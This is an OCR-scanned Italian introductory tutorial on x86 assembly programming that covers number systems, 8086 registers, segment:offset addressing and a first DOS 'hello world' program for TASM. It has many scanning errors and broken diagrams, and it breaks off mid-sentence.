Introduzione

Al giorno d'oggi esistono molti linguaggi di programmazione ad alto livello con i quali & possibile creare programmi
complessi, pit 0 meno efficienti e con i quali & possibile programmare ogni parte di un computer, ma se si vuole
sfruttare al meglio le risorse messe a disposizione dal PC , se si vuole scrivere routine veloci allora l'unico
linguaggio adatto & ancora il buon vecchio ASSEMBLY. Programmando in Assembly si ha il controllo completo del
computer ogni singolo bit di ogni singolo registro € nelle tue mani, hai il potere assoluto sulla macchina, pero ...
Perd e anche vero che programmare in Assembly non € del tutto facile, si deve tener conto di moltissime cose, un
piccolo particolare trascurato ha come conseguenza il CRASH del sistema!! Una prerogativa della programmazione
in Assembly € la conoscenza dell'Hardware sottostante , € quindi necessario conoscere la struttura della CPU dei
registri delle porte e delle schede presenti per poterle programmare. Questa serie di tutorial non vuole essere
esaustivo in tutti gli aspetti della programmazione Assembly, si tratta di un introduzione, un punto di partenza per
entrare in questo mondo. I tools di cui avrete bisogno sono un COMPILATORE e un LINKER , i miei esempi sono
scritti per il compilatore della Borland TASM 3.1 ma si possono facilmente adattare ad altri compilatori. Inoltre
dovreste procuravi una documentazione degli interrupt del BIOS e del DOS reperibile via FTP al sito :
ftp://x2ftp.oulu.fi/pub/msdos/programming . Infine vi serve un editor di testo, va bene anche I'EDIT del DOS. Beh
ora basta con le chiacchiere cominciamo ad addentrarci nel magnifico mondo della programmazione in
ASSEMBLY.... buon lavoro!

Numerazione Binaria

Ogni buon programmatore dovrebbe conoscere almeno 2 sistemi di numerazione oltre quello decimale imparato
alle scuole elementari: il sistema BINARIO e quello ESADECIMALE. Il sistema di numerazione binario &
particolarmente legato ai calcolatori in quanto essi possono riconoscere solo segnali aventi due valori : uno alto e
uno basso ; per cui si associa al valore alto la cifra binaria 1 e a quello basso la cifra binaria O (oppure He L, o
ancora VERO e FALSO). Infatti nel sistema binario esistono solo due cifre 0 e 1 appunto e i numeri ma anche tutte
le altre informazioni vengono rappresentate con sequenze di Zero e di Uno. Il sistema di numerazione binario € un
sistema posizionale come quello decimale, cosa vuol dire: consideriamoli numero decimale 237 , esso puo essere
scomposto in questo modo:

ossia le cifre del numero vengono moltiplicate per le potenze di dieci (da cui decimale) crescenti da destra verso
sinistra. I numeri binari vengono costruiti nello stesso modo solo che invece di potenze di 10 si usano le potenze di
2, quindi considerando il seguente numero binario, scomponendolo ed effettuando i calcoli si ottiene il
corrispondente numero decimale :

Ora che abbiamo visto la conversione Base 2 -> Base 10 vediamo come si effettua I'operazione inversa.
L'algoritmo € abbastanza semplice :

1 - Si divide la cifra decimale per 2
2 - Se il quoziente ¢ pari si scrive 0 se ¢ dispari 1
3 - Si divide il quoziente ancora per 2 e si ripete il passo 3

4 - La sequenza ottenuta RIBALTATA & la rappresentazione binaria del numero decimale

Vediamolo applicato al numero decimale 145 (questo & lo schema che di solito si utilizza):

e
145 |
72 | 1 ( cifra - significativa )
360
1810


http://quequero.org/Disassemblers_Debuggers
ftp://x2ftp.oulu.fi/pub/msdos/programming

;_ ___________________________________________________ 1
| 9 | O i
| 4 | 1 |
| 2 | O |
| 110 |
| Ol1 (cifra + significativa ) |
\-__ - ___________ _

Quindi 145 in base 10 equivale a 10010001 in base 2. Semplice vero??

NOTA: Una cosa da notare e che con N cifre binarie possiamo rappresentare tutti i numeri da 0 fino a 2~N-1.

Numerazione Esadecimale

Ora che abbiamo conosciuto i numeri in base 2 andiamo a conoscere i humeri in base 16 che risultano utili in

quanto ogni cifra esadecimale corrisponde a 4 cifre binarie e il passaggio da una base all'altra risulta facile. Tanto

per cominciare le cifre del Sistema esadecimale sono 16, direte 10 le conosciamo ma le altre 6 ?? Beh si usano

anche le prime sei lettere dell'alfabeto :
i_ __________________________________________________ 1
|DEC 0123456789 10 11 12 13 14 15 i
| HEX 0123456789 A B C D E F I
l-—_-___ - ________________ . ____ _

Anche il sistema esadecimale & posizionale e quindi la conversione Hex->Dec si fa nello stesso modo visto prima

(naturalmente si usano le potenze di 16). Un'altra conversione che serve spesso & quella da Esadecimale a Binario

e viceversa. Sono entrambe molto semplici in quanto come dicevamo prima tutte le cifre esadecimali si possono

codificare con quattro cifre binarie :
;_ ___________________________________________________ 1
| Hex Bin i
| 0 0000 |
| 1 0001 |
| 2 0010 |
| 3 0011 |
| 4 0100 |
| 5 0101 |
| 6 0110 |
| 7 0111 |
| 8 1000 |
| 9 1001 |
| A 1010
| B 1011 I
| C 1100 |
| D 1101
| E 1110 |
| F 1111 |

I

\-_-_ - ___________ _

Quindi il numero esadecimale 3F5 corrisponde al
i_ ___________________________________________________ 1
| 001111110101 i
| 3 F 5

I

\-_-_- - ____________ _

Per il viceversa basta. prendere il numero binario a blocchi di 4 cifre (partendo dalla cifra meno significativa) e
convertirli in cifre esadecimali:



10 0101 1101 0101 0010

0010 --> 2
0101 --> 5
1101 --> D
0101 --> 5
0010 --> 2

Quindi corrispondera al numero 25D52 esadecimale !!

Complemento a Due

Un altro sistema di numerazione adottato nel campo dei calcolatori fino a qualche tempo fa era quello ottale (base
8), che lascio immaginare a voi come funzioni !! In un programma assembly per specificare la base di
numerazione si fa seguire al numero una lettera :

b - Binario (es. 0100101101b)
o - Ottale (es. 5430)
d - Decimale (es. 982d)

h - Esadecimale (es. OF23h)

Adesso siamo in grado di rappresentare solo i nhumeri positivi e quelli negativi? Per questi i calcolatori utilizzano un
metodo non sempre intuitivo: il complemento a 2. Vediamo subito un esempio per capire come funziona,
consideriamo il numero 5 e rappresentiamolo in binario a 8 bit : 00000101, calcoliamo da questo la
rappresentazione binaria di -5, si procede nel seguente modo :

1 - Si complementano tutti i bit (0-->1 e 1-->0)

00000101

FErrEr
11111010

11111010 +
00000001

3 - Il numero ottenuto & la rappresentazione binaria di -5

Per fare la verifica provate a sommare 5 a -5 e vedrete che otterrete 0 (attenzione : il bit eventuale di overflow
viene perso in quanto nel nostro esempio abbiamo specificato che stiamo usando solo 8 bit; anche in un
calcolatore comunque il numero di bit € limitato dalla dimensione dei registri) Quindi con n bit possiamo
rappresentare i numeri da -2~ (n-1) a 2~(n-1)-1 (es. con 4 bit da -8 a 7) e il bit piu significativo indica il segno :
se e 1 vuol dire che il numero & negativo.

Notazione BCD



Oltre al codice binario normale a volte sono utili altre rappresentazioni binarie dei numeri decimali (utili come
vedremo pilu avanti per le operazioni algebriche) come ad esempio la notazione BCD (Binary Code Decimal). In
BCD le 10 cifre del codice decimale vengono codificate una ad una con 4 bit nel seguente modo:

r-r----""""""""">""">""">"F>"—F>">">"F"""F">">"F"""""""""""""""""""""""""F"F7"F"F="F\"""" " '|
I
| Decimale 0 1 2 3 4 5 6 7 8 9 i
| BCD 0000 0001 0010 0011 0100 0101 0110 0111 1000 1001 I
l\-__ - _________ _
Cosi per rappresentare il numero decimale 145 basta codificare le sue cifre (1,4 e 5) con il rispettivo codice BCD :
r— """ """ 1
I
| 145-->101000101 I
l\-__ - _ _
Operazioni Logiche
L'Assembly non & un linguaggio tipizzato, nel senso che non esiste il tipo int, float, ecc... sta al programmatore
trattare i numeri in modo diverso a seconda di cosa essi rappresentano nel momento in cui li usa. In binario
vengono rappresentati anche i caratteri. Per ogni carattere si usano 8 bit, per un totale di 255 caratteri, per le
corrispondenze carattere-codice si fa riferimento alla convenzione ASCII. Tutti abbiamo da qualche parte una
tabella dei codici ASCII.
Oltre a saper rappresentare i numeri binari bisogna saper fare anche le operazioni con essi, spendero solo poche
parole ma una volta capito il meccanismo di base riuscirete benissimo a risolvere complesse operazioni !!!. Per
capire come si effettua una somma basta pensare a cosa avviene con i numeri in base 10 e ricordarsi che in base
2 ci sono solo due cifre. Quindi (in base 10) se sommo 7 a 6 scrivo 3 con il riporto di 1, sommo il riporto a 0 e
unendo i risultati ottengo (magia) 13. In decimale il riporto si ha quando la somma supera 10 in binario quando la
somma supera 2, quindi ad esempio :
re e — — — — — — — — 1
I
| 10100011 + i
| 10100101 |
| 101001000 l
\-_-_- - ____________ _
Provate a fare qualche esempio vedrete che € facilissimo, I'importante & aver capito il meccanismo che sta alla
base (se proprio non lo capite andate a rileggervi i quaderni delle elementari!!!!)
Ora che abbiamo capito come fanno a "contare" i computer vediamo come fanno a fare altre utili operazioni,
guardiamo in particolare le operazioni logiche. La logica € un ramo della matematica che stabilisce se un predicato
e vero o falso(chiedo scusa ai matematici per la definizione un po' troppo semplicistica), quindi noi assegneremo il
valore 1 a vero e il valore 0 a falso e il gioco & fatto. Le principali sono: AND, OR, NOT, XOR. Noi ci chiederemo
cosa risulta 1 and 1 oppure 0 or 1 ecc... Per brevita e data la semplicita riporto solo le tabelle di verita di queste
operazioni logiche, in ingresso avremo una o due variabili binarie X e Y e in uscita verra prodotta la variabile Z che
varra 0 o 1 a seconda dell'operazione logica; quindi:
AND
r e - — — — — — — — 1
I
| XY | Z i
| 00 | O |
| 01 | O Z=XandY |
| 1010 |
| 111 I



e
I

|XY|Z

|00|0

|01|1 Z=XorY

|10|1

| 111
___________________________________________________ 1
XOR
e
XY |Z

00]O0

01 |1 Z =XxorY ( or esclusivo )

101

1110
___________________________________________________ 1
NOT
e
X |

0|1 Z=notX (il NOT a differenza degli altri & un operatore unario: opera su una sola variabile)

Questo €& quello che si chiama condensato di logica pero € tutto quello che ci serve sapere sulle operazioni, se
volete approfondire il concetto contattatemi e saro lieto di darvi altre informazioni su questo campo della
matematica 8-)

Note Finali

Beh ora penso di avervi stufato abbastanza con tutta questa matematica ma ritengo che una buona comprensione
di questi argomenti faciliti molto la comprensione di quello che faremo in futuro, infatti con il linguaggio Assembly
si lavora principalmente con numeri esadecimali, quindi resistete e fate un po' di esempi per capire se avete
capito.

Come abbiamo visto nel precedente tutorial i calcolatori lavorano con numeri binari. Bene, un numero binario
composto da un certo numero di zeri € uni che presi singolarmente prendono il nome di BIT. Il BIT & la forma piu
breve di informazione puo essere solo 0 o 1. Se prendiamo 8 bit e li affianchiamo otteniamo il famoso BYTE ,
quindi

01101001
10010001
00000100

sono byte. Il Byte € anche la quantita minima di informazione indirizzabile ed utilizzabile nella programmazione,
difficilmente andrete a leggere in memoria o in CPU quantita piu piccole di un Byte. Con un Byte possiamo
rappresentare tutti i numeri tra 0 e 255 (ricordate 27 8-1) e in esadecimale tra O e FF.

L'unione di 2 byte da luogo ad una WORD (16 bit), con una word si possono rappresentare tutti i numeri tra 0 e
65535 (0-FFFF).

Dopo la word (provate ad indovinare !!) c'é la DOUBLE WORD (32 bit = 4 byte = 2 word) con la quale si possono
rappresentare i numeri tra 0 e 4294967295 (0 - FFFFFFFF).

Due DOUBLE WORD danno luogo ad una QUAD WORD (64bit)



Andando avanti incontriamo il KILOBYTE che contro ogni credenza popolare NON &€ 1000 byte ma bensi 1024 byte
(27210=1024).1I kilobyte si indica di solito con la lettera Kb quindi 256Kb sono 262144 byte. Dopo il Kilobyte viene
il MEGABYTE (Mb) che non sono altro che 1048578 (2/20) byte.

Data la forte espansione delle memorie e il forte calo dei prezzi oggi si usa anche il GIGABYTE (1024Mb) e
comincia a sentirsi il TERABYTE (1024Gb), ecc...

Nota folkloristica: i programmi che scrivete (in C, Pascal, ecc...) una volta compilati e linkati altro non sono che
una sequenza di zeri e uni che il calcolatore interpreta come istruzioni e dati, pensate che i primi programmatori
non avevano a disposizione i linguaggi ad alto livello che ci sono oggi e dovevano scrivere i loro programmi
immettendo manualmente ogni byte del loro programma. Anche il linguaggio assembly non & il livello pili basso in
assoluto infatti anche esso usa delle istruzioni mnemoniche per facilitare la scrittura dei programmi, queste
istruzioni hanno comunque una precisa corrispondenza con i byte che compongono i programmi eseguibili e a
livello teorico potremmo scrivere i nhostri programmi byte per byte (in ricordo dei vecchi tempi).

Introduzione : Struttura Interna dell’'8086

Il primo microprocessore della famiglia x86 prodotto dalla Intel € I' 8088 che entrd in produzione nel Giugno del
1978 !l L'8088 € un processore a 16 bit con un BUS esterno a 8 bit e con un clock da 4.77MHz (8-]|). Da allora se
né fatta di strada (basti pensare al processore Pentium a 32 bit) ma per questo tutorial per capire a grandi linee
I'architettura di un processore Intel faro riferimento all' 8086 (non preoccupatevi tutto quello che dird vale anche
per i nuovi processori).

Struttura Interna dell'8086

Allora per cominciare diamo un'occhiata al disegno qui sotto che rappresenta la struttura interna di un 8086 :

Bus Dati
» ~ \ ~ ~ ~ ~ | ~ ~ ~ \
\ | \ | \ | === | v v v \
\ | \ | \ [ AX | I BX CX DX \
Y v \ v \ | - | \
———————————— \ === == | | | ===
| ST | | DI | \ | SP | | IP | | v v | IR |
____________ ‘ ————— e —_————— e | ————— e —_————— e ——————
\ | \ | \ [\ N/ / \
\ | \ | \ | \ \/ / \
\ | \ | | | \ ALU / === —m————
\ | \ | \ | \CEEEES /-——>|FLAG|-————-— >|Control |
\ I \ | \ | ]  emeees coscoosoos
\ | \ | Il e \
\ | \ | \
v v v v v

Bus Indirizzi

Lo schema & abbastanza semplice ma analizziamolo nel dettaglio. A sinistra ci sono i due registri indice SI (Source
Index) e DI (Destination Index) che vengono utilizzati come puntatori rispettivamente a dati sorgente e a dati
destinazione. Questi sono registri a 16 bit e possono essere utilizzati anche come registri di OFFSET (Vedremo pil
avanti di cosa si tratta).

Il registro SP e lo Stack Pointer (Puntatore allo Stack). Lo stack & un'area di memoria in cui si possono
memorizzare dei dati da passare alle procedure. La sua struttura & di tipo LIFO (Last In First Out) cioe : I'ultimo
inserito & il primo ad essere estratto. Vediamo meglio come funziona con un esempio: Supponiamo di chiamare
una funzione che somma due numeri, il prototipo in C sarebbe:

int Somma (int a,int b);



Ebbene quando viene chiamata la procedura i due addendi vengono salvati nello stack tramite I'operazione che
prende il nome di PUSH , quindi:

SP —-->

Ora la procedura prelevera i due numeri dallo Stack con I'operazione di POP (attenzione all'ordine in cui vengono
prelevati : prima b poi a !!!) ne effettuera la somma e riporra il risultato nello Stack:

SP --> | ris |
[ ris = a + b

A questo punto il programma chiamante dovra solo prelevare il risultato dallo stack. In realta quando si chiamo
una procedura oltre ai parametri nello stack si salvano anche cose come ad esempio l'indirizzo della chiamata per
poterci tornare una volta finita la procedura e altri registri necessari a ripristinare il flusso del programma. C'é da
sottolineare che il contenuto dello Stack Pointer viene aggiornato automaticamente dalla CPU quando si eseguono
le operazioni di PUSH e di POP e non andrebbe modificato manualmente a meno di sapere bene cosa si sta
facendo!!

Il registro IP (Instruction Pointer) contiene I'indirizzo della prossima istruzione da eseguire e il registro IR
(Instruction Register) tiene il codice dell'istruzione in esecuzione, insieme eseguono il fetch dell'istruzione da
eseguire:

Per chi non lo sapesse il fetch dell'istruzione consiste nel prelevamento e riconoscimento dell'istruzione da
eseguire. Tutti i microprocessori Intel sono strutturati come una catena di montaggio suddivisa in stadi successivi,
la CPU legge i codici operativi (OPCODE) delle istruzioni qualche ciclo di clock prima della loro reale esecuzione e
sfrutta questo intervallo per eseguire la decodifica (oltre a qualche altro calcolo accessorio). Le istruzioni lette
vengono messe nella PREFETCH QUEUE formata appunto da tutte le istruzioni lette ma non ancora eseguite, la
dimensione della coda influisce sulla velocita (+ grande --> + veloce) anche se oltre un certo valore non si
registra alcun miglioramento. Le dimensioni della Prefetch Queue di un 8088 erano di 4 byte, quella di un 486 & di
32 byte. I registri IP e IR non sono direttamente accessibili dal programma, anche se IP puo essere indirettamente
modificato tramite istruzioni di salto.

I Registri

Ci sono poi i registri General Purpose : AX, BX, CX, DX che possono essere usati dai nostri programmi per
memorizzare dati, puntatori e risultati.

AX - E un registro a 16 bit divisibile in due registri a 8 bit: AH, AL in questo modo

AX viene usato come destinazione nei calcoli matematici ( viene chiamato accumulatore). Va notato che
cambiando il valore di AH e/o AL viene anche modificato il valore di AX !!

BX - Come AX si divide in BH e BL pu0 essere usato come registro di OFFSET o come registro indice.



CX - (CH/CL) 16 bit (8+8) viene spesso usato come contatore nei cicli, infatti I'istruzione LOOP (che vedremo piu
avanti) decrementa il valore di CX fino a quando € uguale a zero.

DX - (DH/DL) 16 bit (8+8) viene usato come contenitore per il resto nelle divisioni o nel caso di operazioni a 32
bit per contenere la parte alta del risultato. Inoltre viene usato come puntatore nelle operazioni di Input e Output.

Oltre a questi registri presenti nello schema ne esistono altri:
BP - (Base Pointer 16 bit) Viene usato come puntatore alla base dello stack.
IP - Instruction Pointer: punta alla prossima istruzione da eseguire Registri di Segmento:

CS - Code Segment: punta alla zona di memoria che contiene il codice, durante I'esecuzione del programma
contiene la prossima istruzione da eseguire.

DS - Data Segment: punta alla zona di memoria adibita al contenimento dei dati.
ES - Extra Segment: lo dice il nome, puo essere usato come registro di segmento ausiliario.

SS - Stack Segment: punta alla zona di memoria in cui risiede lo stack.Attenzione a "giocare" con questo
segmento!!

Per processori 386 e superiori esistono altri due registri di segmento FS e GS che possono essere usati come
supporto per le operazioni.

FLAG

Esiste inoltre il registro di FLAG in cui vengono riportate alcune informazioni circa le istruzioni in svolgimento, la
sua struttura & la seguente:

[11[10|F|E|IDICIBIA|O|8|716]|5]14]1312]1]0]

| +--- CF Carry Flag
to————— PF Parity Flag
fromomosss=om AF Auxiliary Flag

Fomm ZF Zero Flag

Pocmsoscosossosoos SF Sign Flag

e e TF Trap Flag (Single Step)

Fomm IF Interrupt Flag
Pocomcocooconooooooonoon DF Direction Flag
et s i OF Overflow flag
Fommmmmmsosssssessoesnsosassss IOPL I/O Privil. Level (286+ only)
e S S NT Nested Task Flag (286+ only)
e 0

P e e e e e RF Resume Flag (386+ only)

P T e e e e e e VM Virtual Mode Flag (386+ only)

Cosi se ad esempio dopo una sottrazione matematica il risultato € zero il bit relativo allo Zero Flag (bit 6)viene
settato a 1.

Nei processori 386 e superiori sono presenti registri a 32 bit (!)con le funzionalita di quelli visti essi sono : EAX,
EBX, ECX, EDX, ESI, EDI, EBP, CR0O,CR2, CR3, DRO, DR1, DR2, DR3, DR6, DR7, dove CR sta per Control Register e
DR Debug Register. Dalla generazione 486 in poi sono stati aggiunti : TR3, TR4, TR5 (Test Register).



Segmento e Offset

Vi prego di prestare molta attenzione a questo argomento che ritengo di cruciale importanza: il modo in cui la CPU
vede ed accede alla memoria. I progettisti dei processori 8088 e 8086 nati anni e anni fa non potevano prevedere
(???) che la tecnologia arrivasse a costruire macchine dotate di decine di MegaByte di memoria e cosi si sono
limitati a progettare una CPU che riuscisse ad indirizzare solo un misero MegaByte :-( Per indirizzare 1Mb sono
necessari 20 bit (2 ~ 20 = 1Mb) e noi abbiamo a disposizione solo registri a 16 bit, e allora come facciamo ? La
soluzione adottata dai progettisti del'Intel & quella di adottare un indirizzo costituito da 2 parti : un SEGMENTO e
un OFFSET di 16 bit ciascuno , che uniti nel giusto modo danno origine all'indirizzo effettivo. Vediamo un esempio.
L'indirizzo 21F2:CO1E & nella forma SEGMENT:OFFSET (gli indirizzi vengono dati sempre in base esadecimale per
facilitare i calcoli) dove il segmento vale 21F2 e I'offset CO1E entrambi di 16 bit, quindi un totale di 32 bit che non
sono tutti necessari per indirizzare un solo Mega di memoria, e qui sta il bello !!! L'indirizzo nella forma SEG:OFF
viene "trattato" per dare origine al vero indirizzo cioé il segmento viene moltiplicato per 16 (10h) e il risultato
viene sommato all'offset. Nell'esempio precedente:

21F2 * 10 = 21F20 +

Otteniamo cosi un indirizzo a 20 bit !! (Semplice vero: beh forse non tanto !). Spesso invece di moltiplicare il
numero per 16 (10h) si effettua uno SHIFT a sinistra di 4 bit ma come vedremo ¢ la stessa cosa.

Come abbiamo visto prima i registri dedicati a contenere il valore del segmento so CS,DS,ES e SS, sono registri a
16 bit cid vuol dire che un segmento & lungo 64Kb. Del Mega che si puo indirizzare se ne pud usare solo i primi
640Kb perché i rimanenti sono occupati dalla memoria video della VGA (a partire da A000:0000) e dal BIOS e
quindi non ce ne rimane molto !!! Bene anche questa puntata & terminata abbiamo conosciuto alcuni elementi
fondamentali che ci serviranno per scrivere programmi in Assembly. So che non vedete I'ora di scriverne uno ma
dovete avere un po' di pazienza: per programmare in Assembly (non mi stancherd mai di ripeterlo) bisogna
conoscere a fondo I'architettura del computer visto che & proprio quello che andiamo a programmare!! Per
conoscere meglio le architetture delle ultime generazioni di processori sul sito http://www.intel.com nella sezione
developer ci sono svariati manuali scaricabili gratuitamente che spiegano dettagliatamente il funzionamento dei
Pentium e dei Pentium II nonché di tutti gli altri processori Intel.

Il Primo Programma

;TUT4.ASM - by bOnuS 1997

.MODEL small ; indica al compilatore il modello di memoria da usare
.STACK 100h ; dimensiona lo Stack
.DATA ; inizio del segmento dati
Messaggio DB "Salve Mondo",13,10,'$' ;dichiarazione del messaggio
.CODE
inizio: ; inizio del segmento di codice
mov ax, SEG Messaggio ; ax = indirizzo del Segmento Dati
mov ds, ax ; ds = ax
mov dx, OFFSET Messaggio ; ds = offset del Segmento Dati
mov ah, 09h ; ah = 09h
int 21h ; chiamata all'interrupt DOS
mov ah, 4Ch ; ah = 4Ch
int 21lh ; chiamata all'interrupt DOS
END inizio ; fine del programma

Una volta scritto il codice con un semplice editor di testo il programma deve essere compilato e poi linkato, per far
questo scrivete dal prompt del DOS

C:\tasm tut4.asm
(verranno visualizzate alcune informazioni sulla compilazione )

C:\tlink tut4.obj
(ora il file eseguibile & pronto : tut4.exe)


http://www.intel.com/

Per eseguire il programma scrivete semplicemente tut4. Vediamolo ora nel dettaglio istruzione per istruzione:
.MODEL

Definisce il tipo dei segmenti di memoria da utilizzare nel programma.Le principali scelte possibili sono:

- TINY: tutto il codice e i dati sono in un unico segmento (stanno in 64Kb). Questo modello € il modello utilizzato
per i file con estensione COM.

- SMALL: ¢ il modello piu comune, un segmento per il codice e uno per i dati e lo stack tutti no oltre i 64Kb.

- MEDIUM: il codice usa pil segmenti, pud quindi superare la barriera dei 64Kb. I dati e lo stack come nel
modello small.

- COMPACT: ¢ come lo small ma per accedere ai dati uso puntatori di tipo FAR quest'ultimi possono infatti
superare i 64Kb.

- LARGE: & come il compact ma con il codice in pil segmenti; sia codice che dati superano i 64Kb.

- FLAT: supporta la modalita a 32bit dei processori 386+; in questa modalita viene abolita il metodo di
indirizzamento SEGMENTO:OFFSET, l'indirizzo & dato da un unico numero a 32bit.

.STACK

Dice al compilatore quanto spazio deve riservare per lo stack. Se viene omesso il compilatore usa per default 400h
(1Kb)

.DATA

Inizializza il segmento dati. Dopo questa direttiva si dichiarano le variabili da usare nel programma.

Messaggio DB "Salve Mondo",13,10,'S’

Questa istruzione assegna alla variabile Messaggio il valore Salve Mondo. DB definisce dei Byte in memoria e in
questo caso il numero dei byte &€ 14: 11 per la stringa Salve Mondo uno per il carattere 13 (CR), uno per il 10 (LF)
e uno per il terminatore '$', che deve essere sempre presente alla fine di una stringa. In questo caso la variabile &
quindi inizializzata se avessimo voluto solo riservare dello spazio (ad esempio 10 Byte) per riempirlo durante
I'esecuzione del programma avremmo dovuto scrivere:

Nome Variabile DB 10 DUP (?)

Quindi abbiamo visto che la direttiva DB definisce byte , ne esistono altre:

DW - Define Word

DD - Define Double word

DQ - Define Quadword

DF - Define 48-bit (puntatore FAR 6 byte)
DT - Define TenByte

Indica l'inizio del segmento di codice del programma.

mov ax,SEG Messaggio

Questa prima istruzione (vera e propria) sposta in AX il valore del puntatore al Data Segment. Mov & (penso)
I'istruzione piu usata nei programmi, € quella che permette di spostare dati dalla memoria alla cpu e viceversa.
Vediamo quali sono i modi di indirizzamento (cosi si chiamano) possibili:



1. Indirizzamento Immediato

mov ax, 1643

1643 ¢ il dato numerico da mettere in AX.
2. Indirizzamento Assoluto

mov ax, [7563]

7563 ¢ l'indirizzo del dato da mettere in AX.
3. Indirizzamento con Indiretto

mov ax, [si]

Metto in AX il dato puntato da SI (che si trova all'indirizzo SI). Si pud anche scrivere:

mov ax, [si+45] ; avete capito cosa fa vero?

Note:
- L'indirizzamento immediato non puo essere usato per cambiare il valore dei segmenti (vedi prossima istruzione)

- Non posso spostare dati da memoria a memoria devo sempre passare tramite un registro

mov ds, ax

Questa istruzione dovrebbe essere ormai chiara il contenuto di ax viene spostato nel data segment. Quest'ultimo
quindi punta all'inizio del segmento dati. Non avremmo potuto fare :

mov ds, SEG Messaggio ; ERRATO !!!!

'""mov dx, OFFSET Messaggio'''

Ora copiamo I'offset della variabile Messaggio in DX. OFFSET come SEG & una parola riservata del linguaggio.

mov ah, 0%h

Copia il valore 09h (esadecimale) in AH. Nota che 09h viene copiato nella parte alta di AX senza modificare il
valore di AL.

int 21h

Ora si dovrebbe aprire una lunga (lunghissima) parentesi sugli Interrupt. Gli Interrupt sono delle funzioni messe a
disposizione dal sistema operativo o dal BIOS per permettere alcune operazioni. Si possono paragonare alle
funzioni di libreria che si usano nei linguaggi ad alto livello certo queste hanno un'interfaccia meno comoda.
consideriamo questo interrupt in particolare : INT 21h : Questa & una funzione del Sistema Operativo (DOS) (tutti
gli int 21h sono del DOS) , ma cosa fa ??? Per sapere cosa fa si deve guardare al valore di AH al momento della
chimata che nel nostro caso € 09h; bene se si va a guardare sul Reference Manual si vede che questa funzione (int
21h funz. 09h) stampa una stringa sullo standard output (Monitor) e si vede che la stringa che stampa ¢ quella
puntata da DS:DX che nel nostro caso € proprio il messaggio "Salve Mondo". Riassumendo la chiamata ad
interrupt prevede le seguenti operazioni:

1. Settaggio dei parametri per la chiamata nei GIUSTI registri
2. Settaggio del valore di AH che identifica la funzione da eseguire
3. Chiamata all'INT XXh (XX = 21 per le chiamate al DOS)

4. (Non sempre)Lettura dei parametri dai registri



Il quarto punto non sempre deve essere eseguito ad esempio nel caso di stampa di una stringa non & necessario
ma se consideriamo la funzione che legge una stringa dalla Console una volta letta dovremo pur farci qualcosa !'!!
Per avere la lista degli interrupt potete scaricare da internet la famosa lista di Ralph Brown dal sito ftp :
x2ftp.oulu.fi (nota : questa lista & la vostra Bibbia: directory /pub/msdos/programming/doc/interXX.zip!!) Spero
abbiate capito cosa sono gli interrupt e allora vediamo cosa succede quando ne viene generato uno (consideriamo
proprio il nostro int 21h,09h). Al momento della chiamata il flusso lineare del programma si interrompe, viene
salvato lo stato della CPU (registri, flag, ecc...) e I'IP salta all'indirizzo della routine di interrupt, vi chiederete:
dove sono, le rountine di interrupt??? Gli indirizzi di tutte queste routine sono memorizzate nel primo K di RAM la
parte di memoria che va dall'indirizzo 000h all'indirizzo 3FFh; ogni funzione ha a disposizione 4byte , quindi nel
nostro es. 21h * 4 = 84h che ¢ l'indirizzo della funzione DOS. Vedremo piu avanti come & possibile modificare
queste funzioni. Una volta eseguito il codice dell'interrupt il controllo torna a programma, viene ripristinato lo stato
della CPU e si continua I'esecuzione. Per ora fermo qui la discussione sugli interrupt; ne vedremo altri nei prossimi
esempi e imparerete ad usarli.

mov ah, 4Ch

OK!! Lo so che sapete gia cosa fa e se guardate anche alla prossima istruzione capite anche perché lo fa, OK??
Beh forse non sapete che funzione € la 4Ch, ve lo dir0 io! Questa funzione ritorna il controllo del computer al DOS.
E importante per far terminare il programma.

int 21h

Fa terminare il programma € un'altra funzione del DOS. Se togliamo questa istruzione il computer si "impalla" e
non ci resta che fare un bel reset. PROVATE!!!

Il Primo Programma (2)

Analizziamo ora un'altra versione dello stesso programma :

;TUT4-1.ASM - by bOnuS 1997

SEG A SEGMENT
ASSUME CS:SEG_A, DS:SEG A
ORG 100H

Salve PROC FAR

INIZIO: JMP START ;salta a START
Messaggio DB "Salve Mondo",13,10,'$' ;dichiarazione del messaggio
START :
mov dx,OFFSET Messaggio ; ds = offset del Segmento Dati
mov ah, 0%h ; ah = 0%h
int 21h ; chiamata all'interrupt DOS
RETN

Salve ENDP

SEG A ENDS
END INIZIO

Qual'e la differenza con I'esempio precedente ? Vediamole insieme... Prima di tutto manca sia il DATA SEGMENT
che lo STACK SEGMENT e tutto il programma sta in un unico segmento (SEG_A). Inoltre questo programma va
linkato con l'opzione /t che invece di creare un eseguibile con estensione EXE crea un file COM. Oltre a queste
grosse differenze ci sono alcune direttive diverse:

ASSUME

ASSUME CS:SEG_A DS:SEG_A
Indica al programma di riferire sia il CS che il DS al SEG_A (unico segmento per i dati e per il codice)



ORG

ORG 100h
Indica l'indirizzo di partenza del programma.
NOTA: tutti i programmi con estensione COM DEVONO cominciare all'indirizzo 100h !!!

In questo esempio il programma non €& altro che una procedura che viene chiamata subito all'inizio del programma
con l'istruzione JUMP START che non fa altro che saltare all'etichetta START. Alla fine della procedura c'é
I'istruzione RETN che ritorna al chiamante. C'e inoltre da notare che manca l'interrupt per la terminazione del
programma che nel caso di programmi .COM non serve! IL resto del programma & uguale alla versione
precedente.

Nei nostri futuri esempi useremo spesso questo tipo di programmi (anche se sono limitati a 64Kb) in quanto per le
nostre applicazioni sono sufficienti.

Vorrei aprire infine una parentesi sui programmi assembly. Una volta scritto il codice sorgente (.ASM) questo viene
compilato in codice oggetto(.OBJ) ed infine linkato per creare il file eseguibile (.EXE o .COM). Se provate a vedere
il contenuto di quest'ultimo file binario vedrete solo una serie di caratteri ASCII indecifrabile, ebbene ogni
carattere ha un preciso significato esiste infatti una corrispondeza biunivoca tra il codice sorgente e il codice
eseguibile al punto che il programma finale pud essere deassemblato per tornare al file sorgente; a dire il vero
questa operazione non € poi cosi facile & pero possibile. Se infatti provate ad usare un debugger come il Turbo
Debugger accanto ad ogni istruzione assembly c'e il suo relativo OPCODE. Quindi ogni istruzione in linguaggio
assembly viene tradotta in modo univoco in un OPCODE esadecimale, ad esempio l'istruzione int 21h diventa CD
21 (in esadecimale) e occupa due byte uno per l'istruzione uno per I'operando. Come dicevamo nel tutorial 3 la
CPU legge questi OPCODE nella fase di prefetch e poi li decodifica in codice macchina. Spero sappiate che un
carattere ASCII occupa un byte (0-255, Oh-FFh).

Ora che abbiamo analizzato a fondo il programma forse preferite ritornare a programmare in PASCAL che per
scrivere una stringa sul monitor usa una semplice istruzione. Come vedete anche nelle operazioni pit semplici le
